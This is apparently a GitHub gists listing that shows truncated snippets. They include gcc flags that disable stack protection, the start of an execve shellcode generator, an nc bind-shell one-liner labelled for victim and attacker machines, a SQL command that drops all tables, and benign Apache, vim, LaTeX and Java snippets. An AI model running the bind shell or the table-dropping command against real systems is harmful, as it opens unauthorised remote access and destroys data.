This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Compile in "static" mode (for buffer overflow) | |
$ gcc -g -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 | |
# -g : debug options | |
# -fno-stack-protector : remove protections of the stack | |
# -z execstack : set stack executable | |
# -mpreferred-stack-boundary=2 : align stack pointer on dword boundary |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# This code allow you to generate the assembly instruction | |
# for shellcodes with execve. Giving in input a command (ex /bin/sh) | |
# it generates the corresponding push instructions in AT&T assembly. | |
import sys | |
import os | |
list_ofcmd=[] | |
def getCode(push_instr): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\usepackage{graphicx} | |
\usepackage{float} | |
\begin{figure}[H] | |
\centering | |
\makebox[\textwidth][c]{\includegraphics[width=1.0\textwidth]{/path/to/img}} | |
\caption{Description}\label{fig:label} | |
\end{figure} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On victim machine | |
mkfifo /tmp/mypipe; cat /tmp/mypipe|/bin/bash 2>&1|nc -l 4499 >/tmp/mypipe | |
# On attacker machine | |
nc -nv VICTIM-IP 4499 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Disable ctrl-s of terminal. Add the folowing line to ~/.bashrc | |
stty stop undef | |
## Copy the following lines in ~/.vimrc | |
nnoremap <c-s> :w<CR> | |
inoremap <c-s> <Esc>:w<CR> | |
vnoremap <c-s> <Esc>:w<CR> | |
## If you don't want to add these lines, remember that you | |
## can exit from freezed terminal (ctrl-s) using ctrl-q |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Open the web server config file: | |
------------------------------------- | |
$ sudo vi /etc/apache2/apache2.conf | |
Add (or edit) this line to hide apache info: | |
----------------------------------------------- | |
ServerSignature Off | |
Add (or edit) this line to hide PHP | |
verion in HTTP response header : |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Just copy the following lines changing [databasename] and execute it. | |
SELECT CONCAT('DROP TABLE ', GROUP_CONCAT(table_name SEPARATOR ',')) | |
AS delete_stmt INTO @query | |
FROM information_schema.tables WHERE table_schema = '[databasename]'; | |
PREPARE stmt_drop FROM @query; | |
EXECUTE stmt_drop; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add this into your VirtualHost config file | |
<IfModule mod_rewrite.c> | |
RewriteEngine on | |
RewriteRule ^/$ / [R] | |
</IfModule> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Options +FollowSymlinks | |
RewriteEngine on | |
RewriteCond %{REQUEST_URI} !/offline.html$ | |
RewriteRule $ /offline.html [R=302,L] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@PUT | |
@Consumes(MediaType.APPLICATION_JSON) | |
public Response myMethod(Myobject myobject) throws MappingExceptionHandler{ | |
/* code */ | |
} | |
--------------------------------------------------------------------------------------------------- | |
import javax.ws.rs.core.Response; | |
import javax.ws.rs.ext.ExceptionMapper; | |
import javax.ws.rs.ext.Provider; |